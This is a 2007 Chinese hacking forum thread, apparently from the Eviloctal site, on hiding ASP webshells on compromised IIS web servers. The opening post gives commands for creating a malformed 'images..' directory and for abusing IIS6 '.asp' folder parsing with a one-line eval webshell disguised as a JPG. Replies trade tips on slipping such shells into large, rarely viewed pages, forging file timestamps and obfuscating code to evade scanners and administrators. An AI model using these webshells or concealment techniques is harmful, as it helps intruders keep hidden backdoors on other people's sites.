议题作者：pt007
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

1、建立非标准目录：mkdir images..\
拷贝ASP木马至目录：copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
通过web访问ASP木马：http://ip/images../news.asp?action=login
如何删除非标准目录：rmdir images..\ /s
2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析，以达到我们隐藏自己的网页后门的目的:
mkdir programme.asp
新建1.txt文件内容：<!--#include file=”12.jpg”-->
新建12.jpg文件内容：<%execute(request("l"))%> 或使用GIF与ASP合并后的文件
attrib +H +S programme.asp
通过web访问ASP一句话木马：http://ip/images/programme.asp/1.txt

第二个方法貌似要在WIN2003+IIS6才可以吧?

最简单，最有效，最隐蔽的方法就是
在网站中找一个比较大的asp页面
然后在其中插一句话马就OK了。
需要的时候就上传大马。
大马用完就删掉。
除非对方把自己网站的每个asp文件打开一行行的看
或者用备份还原。否则基本很难发现。

楼上的方法是比较实在的。插入一个访问频繁的ASP文件里，即使管理员看日志，除非一行一行看，否则是难以发现的。

哈！我就是这样干地！ [s:35]

引用:

引用第3楼hack520于2007-01-12 21:36发表的:
楼上的方法是比较实在的。插入一个访问频繁的ASP文件里，即使管理员看日志，除非一行一行看，否则是难以发现的。

错，用偶的扫描器就可以搞定！只要一句话木马存在，都可以把它弄出来  [s:39]

找个时间
我也试试 ··· [s:35]

记得要修改文件更改时间哦
不然也很容易被发现的
总之尽量做到与原来一样就是了 [s:39]

第二种方法不错呵呵 有时再搞不顶的时候可以用下

引用:

引用第10楼asm于2007-01-14 01:09发表的:


错，用偶的扫描器就可以搞定！只要一句话木马存在，都可以把它弄出来  [s:39]

呵呵，扫描器放出来看看。
别以为提到一句话马就是<%execute request("value")%>

第2种方法好 第一种方法放的地方文件太少  但是第2种方法局限性太大了

引用:

引用第14楼永恒的沙加于2007-01-14 18:56发表的:


呵呵，扫描器放出来看看。
别以为提到一句话马就是<%execute request("value")%>

当然一句话木马很多，但是偶把你说的一句话木马列为目标特征码，你就跑不掉...[s:39]

另外很多扫描asp木马的安全脚本很多.....貌似都可以扫出来

不能发主题，借宝地一块发一个问题，在线等，N 人给解决一下
DZ 5.0 后台，不能修改模版拿到 SHELL 上传文件后扩展名多加一个 _ 升级数据库不能导出SHELL  大家还有什么办法

引用:

引用第10楼asm于2007-01-14 01:09发表的: 错，用偶的扫描器就可以搞定！只要一句话木马存在，都可以把它弄出来 [s:39]

韩国老不会用你的扫描器~ 哈哈~还有一点~在韩国~把创建时间和修改时间改成原来一模一样是很稳定滴~国内的傻鸟管理员就会拿个ASP脚本扫ASP马~真铞B

各有各的方法，好用就行。

觉得三楼的方法不错。

大的网页+一句话木马确实是很难找出来的！

个人觉得还是插一句话最好吧。
不过一句话也要免杀，别被lake2的那个脚本给揪出来就好了

引用:

引用第3楼hack520于2007-01-12 21:36发表的:
楼上的方法是比较实在的。插入一个访问频繁的ASP文件里，即使管理员看日志，除非一行一行看，否则是难以发现的。

这里只说了访问，是的，这样看日志是不好看出来。不过没说修改文件的，如果网站所有文件的建立日期是200年，突然有一个是2007年的，你会怎么想

WEBSHELL，怎么修改时间哟？？
是用什么软件吗？

include的方法也不错啊， 把木马放到img文件夹中变成图片的格式

引用:

引用第9楼asm于2007-01-14 01:09发表的:


错，用偶的扫描器就可以搞定！只要一句话木马存在，都可以把它弄出来  [s:39]

有异议,一般的站都是和别人合用的服务器,所以站点管理员要是扫描的话,估计要下载下来扫吧..那样也够麻烦的了..还不如直接覆盖一次..

觉得插个一句话木马好隐藏

引用:

引用第2楼永恒的沙加于2007-01-12 19:55发表的:
最简单，最有效，最隐蔽的方法就是
在网站中找一个比较大的asp页面
然后在其中插一句话马就OK了。
需要的时候就上传大马。
大马用完就删掉。
.......

我不赞同,我曾经和管理员玩了几天,最后种了个马看桌面才知道,管理员在桌面打开了一个web目录的最近修改文件的搜索,人家把最近修改的都列出来了.
最近我就选择在管理员最不常用的asp文件里插入变形一句话马,并且修改文件时间,就ok了.

引用:

引用第28楼凋凌玫瑰于2007-01-23 01:42发表的:
最近我就选择在管理员最不常用的asp文件里插入变形一句话马,并且修改文件时间,就ok了.

呵呵，也不错啊
道高一尺，魔高一丈
有网管们的进步
才有我们的进步